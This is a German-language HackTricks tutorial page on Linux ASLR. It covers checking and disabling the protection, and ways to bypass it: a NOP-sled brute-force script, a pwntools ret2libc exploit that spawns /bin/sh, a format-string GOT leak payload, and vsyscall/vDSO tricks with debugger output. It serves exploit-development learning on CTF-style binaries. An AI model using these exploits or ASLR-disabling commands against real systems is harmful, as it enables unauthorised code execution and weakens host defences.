ASLR

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Grundlegende Informationen

Address Space Layout Randomization (ASLR) ist eine Sicherheitstechnik, die in Betriebssystemen verwendet wird, um die Speicheradressen zu randomisieren, die von System- und Anwendungsprozessen verwendet werden. Dadurch wird es für einen Angreifer erheblich schwieriger, den Ort bestimmter Prozesse und Daten vorherzusagen, wie z. B. den Stack, den Heap und Bibliotheken, wodurch bestimmte Arten von Exploits, insbesondere Pufferüberläufe, abgemildert werden.

Überprüfen des ASLR-Status

Um den ASLR-Status auf einem Linux-System zu überprüfen, können Sie den Wert aus der Datei /proc/sys/kernel/randomize_va_space lesen. Der in dieser Datei gespeicherte Wert bestimmt den Typ des angewendeten ASLR:

  • 0: Keine Randomisierung. Alles ist statisch.

  • 1: Konservative Randomisierung. Gemeinsam genutzte Bibliotheken, Stack, mmap(), VDSO-Seite werden randomisiert.

  • 2: Vollständige Randomisierung. Zusätzlich zu den Elementen, die durch konservative Randomisierung randomisiert werden, wird der durch brk() verwaltete Speicher randomisiert.

Sie können den ASLR-Status mit dem folgenden Befehl überprüfen:

cat /proc/sys/kernel/randomize_va_space

Deaktivierung von ASLR

Um ASLR zu deaktivieren, setzen Sie den Wert von /proc/sys/kernel/randomize_va_space auf 0. Die Deaktivierung von ASLR wird im Allgemeinen außerhalb von Test- oder Debugging-Szenarien nicht empfohlen. So können Sie es deaktivieren:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Du kannst ASLR auch für eine Ausführung deaktivieren mit:

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

Aktivierung von ASLR

Um ASLR zu aktivieren, können Sie einen Wert von 2 in die Datei /proc/sys/kernel/randomize_va_space schreiben. Dies erfordert in der Regel Root-Berechtigungen. Die vollständige Randomisierung kann mit dem folgenden Befehl durchgeführt werden:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Persistenz über Neustarts hinweg

Änderungen, die mit den echo-Befehlen vorgenommen werden, sind vorübergehend und werden beim Neustart zurückgesetzt. Um die Änderung dauerhaft zu machen, müssen Sie die Datei /etc/sysctl.conf bearbeiten und die folgende Zeile hinzufügen oder ändern:

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

Nachdem du /etc/sysctl.conf bearbeitet hast, wende die Änderungen mit an:

sudo sysctl -p

Dies stellt sicher, dass Ihre ASLR-Einstellungen über Neustarts hinweg bestehen bleiben.

Umgehungen

32-Bit-Brute-Force

PaX teilt den Prozess-Adressraum in 3 Gruppen auf:

  • Code und Daten (initialisiert und nicht initialisiert): .text, .data und .bss —> 16 Bits Entropie in der Variablen delta_exec. Diese Variable wird zufällig mit jedem Prozess initialisiert und zu den Anfangsadressen hinzugefügt.

  • Speicher, der von mmap() allokiert wurde, und gemeinsam genutzte Bibliotheken —> 16 Bits, genannt delta_mmap.

  • Der Stack —> 24 Bits, bezeichnet als delta_stack. Es werden jedoch effektiv 11 Bits verwendet (vom 10. bis zum 20. Byte einschließlich), ausgerichtet auf 16 Bytes —> Dies ergibt 524.288 mögliche reale Stack-Adressen.

Die vorherigen Daten gelten für 32-Bit-Systeme, und die reduzierte endgültige Entropie ermöglicht es, ASLR zu umgehen, indem der Angriff so oft wiederholt wird, bis er erfolgreich abgeschlossen ist.

Brute-Force-Ideen:

  • Wenn Sie genügend Platz für ein großes NOP-Schlitten vor dem Shellcode haben, könnten Sie einfach Adressen im Stack brute-forcen, bis der Fluss über einen Teil des NOP-Schlittens springt.

  • Eine weitere Option dafür, falls der Überlauf nicht so groß ist und der Angriff lokal ausgeführt werden kann, besteht darin, den NOP-Schlitten und den Shellcode in einer Umgebungsvariablen hinzuzufügen.

  • Wenn der Angriff lokal ist, können Sie versuchen, die Basisadresse von libc per Brute-Force zu ermitteln (nützlich für 32-Bit-Systeme):

for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Wenn Sie einen Remote-Server angreifen, könnten Sie versuchen, die Adresse der libc-Funktion usleep durch Brute-Force zu ermitteln und dabei 10 als Argument zu übergeben. Wenn der Server zu einem bestimmten Zeitpunkt 10 Sekunden länger braucht, um zu antworten, haben Sie die Adresse dieser Funktion gefunden.

Bei 64-Bit-Systemen ist die Entropie viel höher und dies sollte nicht möglich sein.

Brute-Forcing des 64-Bit-Stacks

Es ist möglich, einen großen Teil des Stacks mit Umgebungsvariablen zu belegen und dann versuchen, den Binärcode hunderte/tausende Male lokal zu missbrauchen, um ihn auszunutzen. Der folgende Code zeigt, wie es möglich ist, einfach eine Adresse im Stack auszuwählen und bei jeder Ausführung alle paar hundert Male wird diese Adresse die NOP-Anweisung enthalten:

//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
import subprocess
import traceback

# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops

# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}

cont = 0
while True:
cont += 1

if cont % 10000 == 0:
break

print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'

try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass

Lokale Informationen (/proc/[pid]/stat)

Die Datei /proc/[pid]/stat eines Prozesses ist immer von jedem lesbar und enthält interessante Informationen wie:

  • startcode & endcode: Adressen über und unter dem TEXT des Binärdatei

  • startstack: Die Adresse des Starts des Stacks

  • start_data & end_data: Adressen über und unter denen sich der BSS befindet

  • kstkesp & kstkeip: Aktuelle ESP und EIP-Adressen

  • arg_start & arg_end: Adressen über und unter denen sich die CLI-Argumente befinden.

  • env_start & env_end: Adressen über und unter denen sich die Umgebungsvariablen befinden.

Daher ist es möglich, wenn der Angreifer auf demselben Computer wie das ausgebeutete Binärprogramm ist und dieses Binärprogramm keinen Überlauf von Rohargumenten erwartet, sondern von einer anderen Eingabe, die nach dem Lesen dieser Datei erstellt werden kann. Es ist für einen Angreifer möglich, einige Adressen aus dieser Datei zu erhalten und Offset daraus für den Exploit zu konstruieren.

Für weitere Informationen zu dieser Datei siehe https://man7.org/linux/man-pages/man5/proc.5.html und suche nach /proc/pid/stat

Ein Leck haben

  • Die Herausforderung besteht darin, ein Leck zu haben

Wenn Ihnen ein Leck gegeben wird (einfache CTF-Herausforderungen), können Sie Offset daraus berechnen (angenommen, Sie kennen beispielsweise die genaue libc-Version, die im System verwendet wird, das Sie ausnutzen). Dieses Beispiel-Exploit wird aus dem Beispiel von hier extrahiert (überprüfen Sie diese Seite für weitere Details):

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

Durch Ausnutzen eines Pufferüberlaufs wäre es möglich, einen ret2plt zu manipulieren, um die Adresse einer Funktion aus der libc zu exfiltrieren. Überprüfen Sie:

pageRet2plt
  • Format Strings Arbitrary Read

Genau wie bei ret2plt, wenn Sie über eine Schwachstelle bei Formatzeichenfolgen einen beliebigen Lesezugriff haben, ist es möglich, die Adresse einer libc-Funktion aus dem GOT zu exfiltrieren. Das folgende Beispiel stammt von hier:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

Sie können weitere Informationen zum willkürlichen Lesen von Formatzeichenfolgen finden unter:

pageFormat Strings

Ret2ret & Ret2pop

Versuchen Sie, ASLR zu umgehen, indem Sie Adressen im Stack missbrauchen:

pageRet2ret & Reo2pop

vsyscall

Der vsyscall-Mechanismus dient dazu, die Leistung zu verbessern, indem bestimmte Systemaufrufe im Benutzerbereich ausgeführt werden können, obwohl sie grundsätzlich Teil des Kernels sind. Der entscheidende Vorteil von vsyscalls liegt in ihren festen Adressen, die nicht der ASLR (Adressraumlayout-Zufallsanordnung) unterliegen. Diese feste Natur bedeutet, dass Angreifer keine Informationsleckschwachstelle benötigen, um ihre Adressen zu bestimmen und in einem Exploit zu verwenden. Es werden jedoch keine besonders interessanten Gadgets gefunden (obwohl es zum Beispiel möglich ist, ein ret;-Äquivalent zu erhalten)

(Das folgende Beispiel und der Code stammen aus diesem Writeup)

Ein Angreifer könnte beispielsweise die Adresse 0xffffffffff600800 in einem Exploit verwenden. Während der Versuch, direkt zu einer ret-Anweisung zu springen, nach der Ausführung einiger Gadgets zu Instabilität oder Abstürzen führen könnte, kann das Springen zum Beginn eines syscall aus dem vsyscall-Abschnitt erfolgreich sein. Durch sorgfältiges Platzieren eines ROP-Gadgets, das die Ausführung zu dieser vsyscall-Adresse führt, kann ein Angreifer eine Codeausführung erreichen, ohne ASLR für diesen Teil des Exploits umgehen zu müssen.

ef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3

vDSO

Beachten Sie daher, wie es möglich sein könnte, ASLR zu umgehen, indem Sie das vdso missbrauchen, wenn der Kernel mit CONFIG_COMPAT_VDSO kompiliert ist, da die vdso-Adresse nicht zufällig ist. Weitere Informationen finden Sie unter:

pageRet2vDSO

Last updated